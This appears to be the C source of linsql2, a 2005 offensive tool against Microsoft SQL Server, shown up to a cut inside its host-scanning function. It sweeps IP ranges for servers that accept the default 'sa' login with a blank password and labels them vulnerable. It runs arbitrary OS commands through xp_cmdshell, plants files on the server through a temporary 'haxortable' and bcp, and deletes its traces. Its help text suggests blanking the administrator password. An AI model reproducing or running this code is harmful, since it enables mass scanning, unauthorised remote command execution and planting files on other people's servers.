/*
 * linsql2.c -- August 2005
 * 
 * Executes SQL / OS commands remotely, when given MS-SQL user/pass.
 * 
 * Originally written by: Herbless (July 2000)
 * Modified by solid@mail.ru to support the latest freeTDS API.
 *
 * http://www.freetds.org
 * gcc -o linsql2 -ltds -lncurses linsql2.c -L/usr/local/lib
 */

#include "/usr/local/include/tds.h"
#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <termios.h>
#include <curses.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <signal.h>
#define MAX_BUF_SIZE 256
#define MAX_NUM_DBS 128
#define MAX_INPUT_LEN 8192						
#define MAX_INPUT_LEN_UPPER_BOUNDS 50000000		
#define CMD_PADDING 20
#define __PROMPT__ "linsql2 > "
#define UPKEY -1
#define DOWNKEY -2
#define LEFTKEY -3
#define RIGHTKEY -4
#define BACKSPACE -5
#define MAX_COMMANDS 128
#define STATUS_FILE "__linsql__scanfile__temp__"

struct
{
	int verbose;
	int probe;
	int interactive;
	int username;
	int password;
	int app;
	int charset;
	int language;
	int hostname;
	int loginID;
	int test;
	int log;
	int scan;
} opt;
struct
{
	char IP[MAX_BUF_SIZE];
	char loginID[MAX_BUF_SIZE];
	char password[MAX_BUF_SIZE];
	char app[MAX_BUF_SIZE];
	char hostname[MAX_BUF_SIZE];
	char charset[MAX_BUF_SIZE];
	char language[MAX_BUF_SIZE];
	char logfile[MAX_BUF_SIZE];
} target;

int sql_connect();
void set_target_defaults();
void set_target_parameters();
char *value_as_string(TDSSOCKET  *tds,int col_idx);
void display_help();
void get_input_string(char *input);
void execute_query(char *query);
void execute_query2(char *query);
void display_db_list();
int do_local_command(char *buf);
void display_table_list();
void print_it(char *s, ...);
void display_options();
void upload_file(char *fname, char *path);
void list_stored_procedures();
void list_columns_in_table(char *query);
int get_key();
int get_string(char *buffer, int maxCount);
void setup_terminal();							
void close_terminal();							
void scan_hosts(char *iprange,int cTimeout, int pTimeout);		
int probe_login(char *ip);


char *inputBuf, *execCmd,*backSpaceSequence, *cteol, *home, *commandBuf[MAX_COMMANDS];
int inputBufSize=MAX_INPUT_LEN,numCommands=0;
TDSLOGIN *login;
TDSSOCKET *tds;
	TDSCONTEXT *context;
	TDSCONNECTION *connection;
FILE *logfileFP;
struct termios init_settings, new_settings;

/***********************************************************************************
 * the good old main() function
 ***********************************************************************************/
main(int argc,char **argv)
{
	int  i, invalidArg=0, currArg=1, exitFlag=0, maxx, maxy,x,y, timeout, probeTimeout;
	char *arg;

	memset((void *)&opt,0,sizeof(opt));
	memset((void *)&target,0,sizeof(target));
	
	if(argc==1)
	{
		printf("linsql2 -- Herbless / solid -- August 2005\n");
		printf("Syntax:\n");
		printf("\t-i <IP address>\t\tSpecify target IP\n\t-c\t\t\tCommand-line interactive mode\n");
		printf("\t-v\t\t\tBe verbose (recommended)\n\t-p\t\t\tProbe for default password and exit.\n");
		printf("\t-u <username>\t\tSpecify username\n\t-P <password>\t\tSpecify password\n\t-a <appname>\t\tGive application name\n");
		printf("\t-C <charset>\t\tSpecify charset\n\t-l <language>\t\tChoose language\n\t-h <hostname>\t\tGive client hostname\n");
		printf("\t-L <logname>\t\tLog all I/O to <logname> in append mode\n\t-s <IP range> [ct] [pt]\tScan for vulnerable hosts\n");
		printf("\t\t\t\tConnect timeout at [ct] seconds\n\t\t\t\tProbe timeout at [pt] seconds\n");
		printf("\t-t\t\t\tTest mode. Used for debugging with no remote connection.\n\n");
		exit(1);
	}
	
	set_target_defaults();

	argv++;
	while(*argv!=NULL&&invalidArg==0)
	{
		arg=*(argv++);
		if(arg[0]=='-')
		{
			switch(arg[1])
			{
				case 'i':							
					arg=*(argv++);
					strncpy(target.IP,arg,MAX_BUF_SIZE);
					break;
				case 'p':						
					opt.probe=1;
					break;
				case 'c':							
					opt.interactive=1;
					break;
				case 'v':							
					opt.verbose=1;
					break;
				case 't':
					opt.test=1;
					break;
				case 'u':		
					arg=*(argv++);
					strncpy(target.loginID,arg,MAX_BUF_SIZE);
					opt.username=1;
					break;
				case 'P':
					arg=*(argv++);
					strncpy(target.password,arg,MAX_BUF_SIZE);
					opt.password=1;
					break;
				case 'a':	
					arg=*(argv++);
					strncpy(target.app,arg,MAX_BUF_SIZE);
					opt.app=1;
					break;
				case 'C':				
					arg=*(argv++);
					strncpy(target.charset,arg,MAX_BUF_SIZE);
					opt.charset=1;
					break;
				case 'l':			
					arg=*(argv++);
					strncpy(target.language,arg,MAX_BUF_SIZE);
					opt.language=1;
					break;
				case 'h':			
					arg=*(argv++);
					strncpy(target.hostname,arg,MAX_BUF_SIZE);
					opt.hostname=1;
					break;
				case 'L':				
					arg=*(argv++);
					strncpy(target.logfile,arg,MAX_BUF_SIZE);
					opt.log=1;
					break;
				case 's':
					if(argc < 3)
						printf("You must at least specify an IP address or IP range.\n");
					arg=*(argv++);
					if(*argv!=NULL && **argv!='-')
					{
						timeout=atoi(*(argv++));
						if(*argv!=NULL && **argv!='-')
						{
							probeTimeout=atoi(*(argv++));
						}
						else
							probeTimeout=10;
					}
					else
					{
						timeout=4;
						probeTimeout=10;
					}
					strncpy(target.IP, arg,MAX_BUF_SIZE);
					opt.scan=1;
					break;
				default:					
					invalidArg=1;
					break;
			}
		}
		else
			invalidArg=1;
		currArg++;
	}

	if(invalidArg)
	{
		printf("Invalid argument - '%s'\n", arg);
		exit(1);
	}
	if(target.IP[0]==0)
	{
		printf("If you want to connect you must give an IP!\n");
		exit(1);
	}
	if(opt.probe&&opt.interactive)
	{
		printf("It makes no sense to probe in interactive mode. Choose only one.\n");
		exit(1);
	}
	if(opt.log)
	{
		if((logfileFP=fopen(target.logfile,"wa"))==NULL)
		{
			printf("Could not write to logfile \"%s\"\n",target.logfile);
			exit(1);
		}
	}
	if(opt.probe==0&&opt.interactive==0)
	{
		opt.probe=1;
		if(opt.verbose)
			print_it("- No connect mode given. Assuming probe mode.\n");
	}
	if(opt.verbose)
		display_options();
	
	if(opt.verbose&&opt.probe)
		print_it("- Probing target [%s]...\n", target.IP);
    else
    if(opt.verbose&&opt.interactive)
    	print_it("- Attempting interactive command-prompt mode with [%s]...\n",target.IP);
		
	if(opt.scan==1)
	{
		print_it("Scanning %s with connect timeout=%d secs, probe timeout=%d secs.\n",arg, timeout, probeTimeout);
		scan_hosts(target.IP, timeout, probeTimeout);
		exit(0);
	}
	
	if(opt.test==0) {
		set_target_parameters();
		if (!sql_connect()) exit(1);
		setup_terminal();
	}

	if(opt.verbose)
		print_it("- Login to [%s] succeeded %s\n", target.IP,(opt.test==1)?"(TEST MODE)":"");
	else
	if(opt.probe)
		print_it("*** Login to [%s] succeeded %s ***\n", target.IP,(opt.test==1)?"(TEST MODE)":"");

 	if(opt.interactive)
	{
		if(opt.verbose)
			print_it("- Entering interactive mode. Remember this isn't a shell.\n");
		if((inputBuf=(char *)malloc(MAX_INPUT_LEN))==NULL)
		{
			print_it("Out of memory allocating input buffer\n");
			exit(1);
		}
		if((execCmd=(char *)malloc(MAX_INPUT_LEN+CMD_PADDING))==NULL)
		{
			printf("Out of memory allocating command buffer with padding\n");
			exit(1);
		}
		print_it("Type /h or /? for help\n");
		while(exitFlag==0)
		{
			memset(inputBuf,0,MAX_INPUT_LEN);
			print_it(__PROMPT__);
			fflush(stdout);								
			get_string(inputBuf,MAX_INPUT_LEN);			
			if(inputBuf[0]=='/')	
				exitFlag=do_local_command(inputBuf);
			else
			if(inputBuf[0]!='\0')	
			{			
				strcpy(execCmd, "xp_cmdshell '");
				strcat(execCmd, inputBuf);
				strcat(execCmd, "'");
				if(opt.verbose)
					print_it("\nExecuting [%s]\n",execCmd);
				else
					print_it("\n");
				execute_query(execCmd);
			}
			else
				printf("\n");
		}
    }

    if(opt.verbose)
    	print_it("- Tearing down the connection...\n");
    if(opt.test==0)
	    tds_free_socket(tds);
	tds_free_login(login);
	if(opt.verbose)
	{
		print_it("- Disconnected\n");
		print_it("- Freeing dynamic memory...\n");
	}
	free(execCmd);
	free(inputBuf);
	if(opt.verbose)
    	print_it("- All done. Have a nice day!\n");
	
	close_terminal();
	exit(0);
}


void display_options()
{
	print_it("- Using options:\n");
	print_it("\tTarget IP: %s\n", target.IP);
	if(opt.probe)		print_it("\tProbe mode\n");
	if(opt.interactive)	print_it("\tInteractive mode\n");
	if(opt.username)	print_it("\tUsername (login) \"%s\"\n",target.loginID);
	if(opt.password)	print_it("\tPassword ******\n");
	if(opt.hostname)	print_it("\tHostname \"%s\"\n",target.hostname);
	if(opt.app)			print_it("\tApplication name \"%s\"\n",target.app);
	if(opt.language)	print_it("\tLanguage \"%s\"\n",target.language);
	if(opt.charset)		print_it("\tCharset \"%s\"\n",target.charset);
	if(opt.log)			print_it("\tLogging to file \"%s\"\n",target.logfile);
	if(opt.test)		print_it("\tTest mode - no connect()\n");
}

void display_help()
{
	print_it("\nlinsql2 -- Herbless / solid -- August 2005\n");
	print_it("All local commands begin with a '/' character.\n\n");
	print_it("  /? or /h         - This guff\n");
	print_it("  /s <COMMAND>     - Send COMMAND as a literal string to the SQL server.\n");
	print_it("                     Can be used to perform SELECT queries etc.\n");
	print_it("                     Eg. /s SELECT * FROM foo WHERE bar=\"boz\"\n");
	print_it("  /u <DATABASE>    - Use DATABASE as the active database.\n");
	print_it("  /d               - Display a list of databases held on server\n");
	print_it("  /t               - Display a list of tables in current database\n");
	print_it("  /v               - Toggle verbose mode\n");
	print_it("  /l               - Toggle logging mode\n");
	print_it("  /L <FILENAME>    - Change logfile to FILE\n");
	print_it("  /o               - Display current options\n");
	print_it("  /a <BUFFERSIZE>  - Allocate BUFFERSIZE bytes for input buffer. %d is current size.\n", inputBufSize);
	print_it("  /U <FILE> <DEST> - Upload local FILE to remote DEST directory.\n");
	print_it("                     Eg. /U myfile.txt c:\\temp\n");
	print_it("  /p               - Print a list of the stored procdures on the server\n");
	print_it("  /c               - Display the columns in the given the table.\n");
	print_it("  /q               - Disconnect and quit\n\n");
	print_it("Anything else will be passed to the 'xp_cmdshell' stored procedure and executed by the OS.\n");
	print_it("So, you could issue a 'net user administrator \"\"' command for example.\n");
	print_it("Note that you cannot use the ' character as it is the SQL query delimiter. Use \" instead.\n\n");
}

int do_local_command(char *buf)
{
	char *ptr, *fptr, *pptr, fname[MAX_BUF_SIZE], path[MAX_BUF_SIZE];
	int exitFlag=0, newSize;
	
	if(buf[1]=='q')				
		exitFlag=1;
	else
	if(buf[1]=='?'||buf[1]=='h')	
		display_help();
	else
	if(buf[1]=='s')	
	{
		if(strlen(buf)>3)
		{
			strcpy(execCmd,buf+3);
			if(opt.verbose)
				print_it("\nExecuting [%s]\n",execCmd);
			execute_query(execCmd);
		}
		else
			print_it("\nYou must specify a command to execute!\n");
	}
	else
	if(buf[1]=='d')				
		display_db_list();
	else
	if(buf[1]=='t')				
		display_table_list();
	else
	if(buf[1]=='l')				
	{
		opt.log=1-opt.log;
		if(opt.log)
		{
			if((logfileFP=fopen(target.logfile,"wa"))==NULL)
			{
				print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
				opt.log=0;
			}
		}
		else
			fclose(logfileFP);
		print_it("Logging %s\n", (opt.log==1)?"on":"off");
	}			
	else
	if(buf[1]=='o')			
	{
		display_options();
	}
	else
	if(buf[1]=='L')			
	{
		if(opt.log)
			fclose(logfileFP);
		strncpy(target.logfile, buf+3, MAX_BUF_SIZE);
		opt.log=1;
		if((logfileFP=fopen(target.logfile,"wa"))==NULL)
		{
			print_it("Failed to open the logfile \"%s\" in append mode.\n",target.logfile);
			opt.log=0;
		}
		else
			print_it("Log file changed to \"%s\"\n",target.logfile);
		print_it("Logging %s\n", (opt.log==1)?"on":"off");
	}
	else
	if(buf[1]=='u')			
	{
		if(strlen(buf)>3)
		{
			strcpy(execCmd, "use ");
			strcat(execCmd,buf+3);
			if(opt.verbose)
				print_it("\nExecuting [%s]\n",execCmd);
			execute_query(execCmd);
		}
		else
			print_it("\nYou must specify database to make active!\n");
	}
	else
	if(buf[1]=='v')				
	{
		opt.verbose=1-opt.verbose;
		
		print_it("\nVerbose mode %s\n",(opt.verbose==0)?"off":"on");
	}
	else
	if(buf[1]=='a')				
	{
		if(strlen(buf)>3)
		{
			newSize=atoi(buf+3);
			if(newSize < 8192 || newSize > MAX_INPUT_LEN_UPPER_BOUNDS)
				print_it("The size %d is out of bounds.\nChoose a buffer between %d and %d bytes\n", newSize,MAX_INPUT_LEN,MAX_INPUT_LEN_UPPER_BOUNDS);
			else
			{
				inputBufSize=newSize;
				if((ptr=(char *)realloc(inputBuf, inputBufSize))==NULL)
					print_it("Not enough memory for that input buffer.\nKeeping original buffer size.");
				else
				{
					inputBuf=ptr;
					print_it("Allocated %d bytes for input buffer\n",inputBufSize);
				}
				if((ptr=(char *)realloc(execCmd, inputBufSize+CMD_PADDING))==NULL)
				{
					print_it("Not enough memory for the exec buffer.\nKeeping original buffer size.");
					inputBuf=(char *)realloc(inputBuf,MAX_INPUT_LEN); 
				}
				else
				{
					execCmd=ptr;
					print_it("Allocated %d bytes for exec buffer\n", inputBufSize+CMD_PADDING);
				}
			}
		}
		else
			print_it("You must specify a new size in bytes\n");
	}					
	else
	if(buf[1]=='U')
	{
		ptr=buf+2;
		if(*ptr!=' ')
		{
			print_it("Invalid upload\n");
			return exitFlag;
		}
		fptr=fname;
		pptr=path;
		while(*ptr==' ') 					
			ptr++;
		while(*ptr!=' '&&*ptr!='\0')		
			*(fptr++)=*(ptr++);
		if(*ptr!=' ')					
		{
			print_it("Invalid upload\n");
			return exitFlag;
		}
		ptr++;
		while(*ptr!=' '&&*ptr!='\0')		
			*(pptr++)=*(ptr++);
		*fptr='\0';				
		*pptr='\0';
		upload_file(fname, path);	
	}
	else
	if(buf[1]=='p')
	{
		list_stored_procedures();
	}
	else
	if(buf[1]=='c')
	{
		if(strlen(buf)>3)
		{
			strcpy(execCmd, "sp_columns ");
			strcat(execCmd,buf+3);
			if(opt.verbose)
				print_it("\nExecuting [%s]\n",execCmd);
			list_columns_in_table(execCmd);
		}
		else
			print_it("\nYou must specify a table to to be able to list the columns\n");
	}
	else
		print_it("\nOut of cheese error - redo from start.\n");	
	return exitFlag;
}

void execute_query(char *query)
{
	TDS_INT resulttype, rowtype;
	int i, rowc=999,resultc=999, row, count=0, gotInside=0;
	
	if(opt.test==0)
	{
		if(tds_submit_query(tds,query)==TDS_FAIL)
		{
			if(opt.verbose)
				printf("TDS FAIL on tds_submit_query()\n");
			return;
		}
		while((resultc=tds_process_result_tokens(tds,&resulttype,NULL))==TDS_SUCCEED)
		{
			gotInside=1;
			while((rowc=tds_process_row_tokens(tds,&rowtype,NULL))==TDS_SUCCEED)
			{
				for (i=0; i<tds->res_info->num_cols; i++)
					print_it("[%s] - %s\n", tds->res_info->columns[i]->column_name,value_as_string(tds, i));
				count++;
			}
		}
		if(count==0)
			if(opt.verbose)
				print_it("resultc=%d, rowc=%d,gotInside=%d\n",resultc,rowc,gotInside);
	}
}

void display_table_list()
{
	TDS_INT resulttype, rowtype;
	int i, resultc=999,rowc=999, row, count=0,gotInside=0;
	
	if(opt.test==0)
	{
		printf("\n");		
		if(tds_submit_query(tds,"sp_tables")==TDS_FAIL)
		{
			if(opt.verbose)
				printf("TDS FAIL on tds_submit_query()\n");
			return;
		}
		while((resultc=tds_process_result_tokens(tds,&resulttype,NULL))==TDS_SUCCEED)
		{
			gotInside=1;
			while((rowc=tds_process_row_tokens(tds,&rowtype,NULL))==TDS_SUCCEED)
			{
				for(i=0; i<tds->res_info->num_cols; i++)
					if(strcmp(tds->res_info->columns[i]->column_name, "TABLE_NAME")==0)
						print_it("\n%s",value_as_string(tds, i));
				count++;
			}
		}
		printf("\n\n");
	}
}

int sql_connect()
{
	tds = tds_alloc_socket(context, 512);
	tds_set_parent(tds, NULL);
	connection = tds_read_config_info(NULL, login, context->locale);
	if (!connection || tds_connect(tds, connection) == TDS_FAIL)
	{
		tds_free_connection(connection);
		if(opt.verbose)
			print_it("- Login to [%s] failed.\n", target.IP);
		return(0);
	}
	return(1);
}

void display_db_list()
{
	TDS_INT resulttype, rowtype;
	int i, resultc=999,rowc=999, row, count=0,gotInside=0;
	
	if(opt.test==0)
	{
		printf("\n");
		if(tds_submit_query(tds,"sp_databases")==TDS_FAIL)
		{
			if(opt.verbose)
				printf("TDS FAIL on tds_submit_query()\n");
			return;
		}
		while((resultc=tds_process_result_tokens(tds,&resulttype,NULL))==TDS_SUCCEED)
		{
			gotInside=1;
			while((rowc=tds_process_row_tokens(tds,&rowtype,NULL))==TDS_SUCCEED)
			{
				for(i=0; i<tds->res_info->num_cols; i++)
					if(strcmp(tds->res_info->columns[i]->column_name, "")==0||strcmp(tds->res_info->columns[i]->column_name, "DATABASE_NAME")==0)
						print_it("\n%s",value_as_string(tds, i));
				count++;
			}
		}
		printf("\n\n");		
	}
}

void get_input_string(char *input)
{
	memset(input, 0, MAX_INPUT_LEN);
	fgets(input, MAX_INPUT_LEN-1,stdin);
	input[strlen(input)-1]='\0';
}
	
int
handle_message(TDSCONTEXT * context, TDSSOCKET * tds, TDSMESSAGE * msg)
{
	return 0;
}

void set_target_defaults()
{
	strncpy(target.loginID,"sa",MAX_BUF_SIZE);
	strncpy(target.password,"",MAX_BUF_SIZE);
	strncpy(target.language,"us_english",MAX_BUF_SIZE);
	strncpy(target.charset,"iso_1",MAX_BUF_SIZE);
	strncpy(target.hostname,"mypc",MAX_BUF_SIZE);
	strncpy(target.app,"Microsoft Access",MAX_BUF_SIZE);
}

void set_target_parameters() {
	login = tds_alloc_login();
	tds_set_passwd(login,target.password);
	tds_set_user(login,target.loginID);
	tds_set_app(login,target.app);
	tds_set_host(login,target.hostname);
	tds_set_library(login,"TDS-Library");
	tds_set_client_charset(login,target.charset);
	tds_set_language(login,target.language);
	tds_set_server(login,target.IP);
	tds_set_port(login,1433);
	tds_set_packet(login,512);
	context = tds_alloc_context();
	if (context->locale && !context->locale->date_fmt) {
		context->locale->date_fmt = (char*)strdup("%b %e %Y %I:%M%p");
	}
	context->msg_handler = handle_message;
	context->err_handler = handle_message;
}

char *value_as_string(TDSSOCKET  *tds,int col_idx)
{
   static char  result[256];
   const int    type    = tds->res_info->columns[col_idx]->column_type;
   const char  *row     = tds->res_info->current_row;
   const int    offset  = tds->res_info->columns[col_idx]->column_offset;
   const void  *value   = (row+offset);

   switch(type)
   {
      case SYBVARCHAR:
      {
         strncpy(result, (char *)value, sizeof(result)-1);
         result[sizeof(result)-1] = '\0';
         break;
      }
      case SYBINT4:
      {
         sprintf(result, "%d", *(int *)value);
         break;
      }
      default:
      {
         strncpy(result, (char *)value, sizeof(result)-1);
         result[sizeof(result)-1] = '\0';
         break;
      }
   }
   return result;
}

void print_it(char *s, ...)
{
	va_list ap;

	
	va_start(ap, s);
	vprintf(s, ap);
	if(opt.log&&logfileFP!=NULL)
		vfprintf(logfileFP,s,ap);
	va_end(ap);
}
void upload_file(char *fname, char *path)
{
	FILE *fp;
	unsigned char *uploadBuf, buf[10], *ptr, *fptr;
	int start, end, size, verboseSave, i, ch;
	
	print_it("*** Beginning file upload ***\n");

	size=strlen(fname);
	ptr=fname+size;
	while(size--)
	{
		if(*ptr=='/')
		{
			fptr=ptr+1;
			break;
		}
		ptr--;
	}
	if(size<=0)
		fptr=ptr;
	if(path[strlen(path)-1]=='\\')
		path[strlen(path)-1]='\0';

	verboseSave=opt.verbose;
	opt.verbose=0;			
	
	print_it("- opening file to upload...\n");
	if((fp=fopen(fname,"r"))==NULL)
	{
		print_it("Cannot open \"%s\"\nUpload failed\n", fname);
		return;
	}
	start=ftell(fp);	
	fseek(fp,0,SEEK_END);
	end=ftell(fp);		
	fseek(fp,0,SEEK_SET);
	size=end-start;		

    i=256+(size*2)+(CMD_PADDING*2);
	print_it("- allocating memory (%d bytes) for file of size %d bytes...\n",i, size);
	uploadBuf=(unsigned char *)malloc(i);	
	if(uploadBuf==NULL)
	{
		printf("Not enough memory. Get a proper computer\nUpload failed\n");
		fclose(fp);
		return;
	}
	
	print_it("- using master database\n");
	execute_query("use master");
	
	print_it("- dropping any old haxortable's\n");
	execute_query("drop table haxortable");
	
	print_it("- creating table \"haxortable\"\n");
	execute_query("create table haxortable (upload image)");
		
	print_it("- building query string to insert file into table...\n");
	strcpy(uploadBuf, "insert into haxortable (upload) values(0x");	
	i=0;
	ptr=uploadBuf+strlen(uploadBuf);
	do
	{
		if(fread(&ch,1,1,fp))
		{
			sprintf(buf, "%2x", ch);			
			if(buf[0]==' ')						
				buf[0]='0';
			*(ptr++)=buf[0];							
			*(ptr++)=buf[1];
		}
	}while(!feof(fp));
	*(ptr++)=')';
	*(ptr++)='\0';		
	fclose(fp);
	
	print_it("- insert the file into the temporary table...\n");
	execute_query(uploadBuf);	
	print_it("- build a file for redirecting bcp commands");fflush(stdout);
	execute_query("xp_cmdshell 'echo.> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
	execute_query("xp_cmdshell 'echo 0 >> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
	execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".");fflush(stdout);
	execute_query("xp_cmdshell 'echo.>> c:\\temp\\bcp.cmd'");print_it(".\n");fflush(stdout);
	
	print_it("- 'bcp' the file out of the database...\n");
    sprintf(uploadBuf, "xp_cmdshell 'type c:\\temp\\bcp.cmd | bcp haxortable out %s\\%s -U %s -P %s > nul'",path,fptr,target.loginID,target.password);
	execute_query(uploadBuf);

	print_it("*** Wooha! File uploaded to server. Time to cleanup ***\n");
	
	print_it("- removing bcp command file...\n");
	execute_query("xp_cmdshell 'echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > c:\\temp\\bcp.cmd'");	
	execute_query("xp_cmdshell 'del c:\\temp\\bcp.cmd'");
		
	print_it("- drop haxortable\n");
	execute_query("drop table haxortable");
	
	print_it("*** All done. \"%s\" should now be on the remote server in \"%s\" ***\n",fptr,path);
	
	
	free(uploadBuf);
	
	print_it("- Reconnecting as a kludge to fix broken TDS library...\n");
	if(opt.test==0)
	    tds_free_socket(tds);
	tds_free_login(login);

	login = tds_alloc_login();
	tds_set_passwd(login,target.password);
	tds_set_user(login,target.loginID);
	tds_set_app(login,target.app);
	tds_set_host(login,target.hostname);
	tds_set_library(login,"TDS-Library");
	tds_set_client_charset(login,target.charset);
	tds_set_language(login,target.language);
	tds_set_server(login,target.IP);
	tds_set_packet(login,512);
	
	if(opt.test==0)
		set_target_parameters();
		if (!sql_connect())
		{
			if(opt.verbose)
				print_it("- Reconnect to [%s] failed.\n", target.IP);
			exit(1);
		}
	print_it("- Kludge complete\n");
	opt.verbose=verboseSave;	
}
			
void list_stored_procedures()
{
	TDS_INT resulttype, rowtype;
	int i, resultc=999,rowc=999, row, count=0,gotInside=0;
	
	if(opt.test==0)
	{
		printf("\n");		
		if(tds_submit_query(tds,"sp_help")==TDS_FAIL)
		{
			if(opt.verbose)
				printf("TDS FAIL on tds_submit_query()\n");
			return;
		}
		while((resultc=tds_process_result_tokens(tds,&resulttype,NULL))==TDS_SUCCEED)
		{
			gotInside=1;
			while((rowc=tds_process_row_tokens(tds,&rowtype,NULL))==TDS_SUCCEED)
			{
				for(i=0; i<tds->res_info->num_cols; i++)
					if(strcmp(tds->res_info->columns[i]->column_name, "Name")==0)
						print_it("%s\n",value_as_string(tds, i));
				count++;
			}
		}
		printf("\n");
	}
}

void list_columns_in_table(char *query)
{
	TDS_INT resulttype, rowtype;
	int i, resultc=999,rowc=999, row, count=0,gotInside=0;
	
	if(opt.test==0)
	{
		printf("\n");		
		if(tds_submit_query(tds,query)==TDS_FAIL)
		{
			if(opt.verbose)
				printf("TDS FAIL on tds_submit_query()\n");
			return;
		}
		while((resultc=tds_process_result_tokens(tds,&resulttype,NULL))==TDS_SUCCEED)
		{
			gotInside=1;
			while((rowc=tds_process_row_tokens(tds,&rowtype,NULL))==TDS_SUCCEED)
			{
				for(i=0; i<tds->res_info->num_cols; i++)
					if(strcmp(tds->res_info->columns[i]->column_name, "COLUMN_NAME")==0)
						print_it("%s\n",value_as_string(tds, i));
				count++;
			}
		}
		printf("\n");
	}
}
void close_terminal()
{
	tcsetattr(fileno(stdin),TCSANOW, &init_settings);
	while(numCommands--)
		free(commandBuf[numCommands]);
}

void setup_terminal()
{
	setupterm(NULL, fileno(stdout), (int *)0);
	tcgetattr(fileno(stdin), &init_settings);
	new_settings=init_settings;
	new_settings.c_lflag &= ~ICANON;
	new_settings.c_lflag &= ~ECHO;
	new_settings.c_cc[VMIN]=1;
	new_settings.c_cc[VTIME]=0;
	tcsetattr(fileno(stdin),TCSANOW, &new_settings);
	backSpaceSequence=tigetstr("cub1");
	cteol=tigetstr("dl1");
}

int get_string(char *buffer, int maxCount)
{
	int currChar=0,ch, cmdNum;
		
	cmdNum=numCommands;
	memset(buffer,0,maxCount);
	
	do
	{
		ch=get_key();
		if(ch>0 &&ch!='\r'&&ch!='\n'&&isprint(ch))
		{
			buffer[currChar++]=ch;
			printf("%c",ch);
		}
		else
		if(ch==UPKEY)
		{
			if(cmdNum)
			{
				putp(cteol);
				while(currChar--)
				{
					putp(backSpaceSequence);
					printf(" ");
					putp(backSpaceSequence);
				}					
				memset(buffer,0,maxCount);
				cmdNum--;
				strcpy(buffer,commandBuf[cmdNum]);
				currChar=strlen(buffer);
				printf("%s",buffer);
			}
		}
		else
		if(ch==DOWNKEY)
		{
			if(cmdNum<numCommands-1)
			{
				putp(cteol);
				while(currChar--)
				{
					putp(backSpaceSequence);
					printf(" ");
					putp(backSpaceSequence);
				}
				memset(buffer,0,maxCount);
				cmdNum++;
				strcpy(buffer,commandBuf[cmdNum]);
				currChar=strlen(buffer);
				printf("%s",buffer);
			}
		}
		else
		{
			if(ch==BACKSPACE&&currChar)
			{
				putp(backSpaceSequence);
				printf(" ");
				putp(backSpaceSequence);
				currChar--;
				buffer[currChar]='\0';
			}
		}
	}while(ch!='\n'&&ch!='\r'&&currChar<maxCount);
	buffer[currChar]='\0';
	
	if(numCommands)
	{
		if(strcmp(commandBuf[numCommands-1], buffer)!=0)
		{
			commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
			memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
			strcpy(commandBuf[numCommands], buffer);
			numCommands++;
		}
	}
	else
	{
		commandBuf[numCommands]=(char *)malloc(MAX_INPUT_LEN);
		memset(commandBuf[numCommands],0,MAX_INPUT_LEN);
		strcpy(commandBuf[numCommands], buffer);
		numCommands++;
	}
		
	return 0;
}

int get_key()
{
	int ch;
	
	ch=fgetc(stdin);
	if(ch==0x1b)
	{
		fgetc(stdin);
		ch=fgetc(stdin);
		switch(ch)
		{
			case 'A':
				return UPKEY;
				break;
			case 'B':
				return DOWNKEY;
				break;
			case 'C':
			    return RIGHTKEY;
			    break;
			case 'D':
				return LEFTKEY;
				break;
			default:
				return 0;
		}
	}
	else
	if(ch==127)
		return BACKSPACE;
	else
		return ch;
}


void scan_hosts(char *iprange, int cTimeout, int pTimeout)
{
	char ipToScan[16], currOctet[4][2][4];	
	int octetRange[4][2];			
	char *ptr, buf[3];
	int o1,o2,o3,o4,fromTo,o,digit,mySock,childPID,i,reset_yet=0,originalTimeout,status;
	struct sockaddr_in addr;
	FILE *fp;
	
	ptr=iprange;
	fromTo=digit=o=0;
	originalTimeout=cTimeout;
	while(*ptr!='\0'&&o<4)
	{
		fromTo=digit=0;
		while(*ptr!='.'&&*ptr!='\0')
		{
			if(isdigit(*ptr))
				currOctet[o][fromTo][digit++]=*(ptr++);
			else if(isalpha(*ptr))
			{
				print_it("Hehe, IP addresses only... hostnames not supported yet :)\n");
				exit(1);
			}
			else
			{
				if(*ptr=='-')
				{
					currOctet[o][fromTo][digit]='\0';
					fromTo++;
					digit=0;
					ptr++;
				}
				else
				{
					print_it("Invalid char\n");
					exit(1);
				}
			}			
		}
		currOctet[o][fromTo][digit]='\0';
		if(fromTo==0)
			strcpy(currOctet[o][1], currOctet[o][0]);
		o++;ptr++;digit=0;
	}

	for(o=0;o<4;o++)
		for(fromTo=0;fromTo<2;fromTo++)
			octetRange[o][fromTo]=atoi(currOctet[o][fromTo]);
		
	for(o1=octetRange[0][0];o1<=octetRange[0][1];o1++)
		for(o2=octetRange[1][0];o2<=octetRange[1][1];o2++)
			for(o3=octetRange[2][0];o3<=octetRange[2][1];o3++)
				for(o4=octetRange[3][0];o4<=octetRange[3][1];o4++)
				{
					sprintf(ipToScan,"%i.%i.%i.%i",o1,o2,o3,o4);
					print_it("Scanning %s",ipToScan);fflush(stdout);
					if((mySock=socket(AF_INET, SOCK_STREAM, 0))==-1)
					{
						print_it("Could not grab socket\n");
						exit(1);
					}
					addr.sin_family=AF_INET;
					addr.sin_addr.s_addr=inet_addr(ipToScan);
					addr.sin_port=htons(1433);
					unlink(STATUS_FILE);
					cTimeout=originalTimeout;
					if((childPID=fork())==0)
					{
						if(connect(mySock, (struct sockaddr *)&addr, sizeof(addr))==0)
						{
							if((fp=fopen(STATUS_FILE,"w"))==NULL)
							{
								print_it("\nFailed to create status file\n");
								exit(1);
							}
							fwrite("OK",1,2,fp);
							fclose(fp);
							print_it("Target is listening, probing...");fflush(stdout);
							if(probe_login(ipToScan))
							{
								fp=fopen(STATUS_FILE,"w");
								print_it("VULNERABLE HOST");fflush(stdout);
								fwrite("VU",1,2,fp);
								fclose(fp);
							}
							exit(0);
						}
						else
						{
							if((fp=fopen(STATUS_FILE,"w"))==NULL)
							{
								print_it("\nFailed to create status file\n");
								exit(1);
							}
							fwrite("Failed",1,2,fp);
							fclose(fp);
						}
						exit(0);
					}
					else
					{					
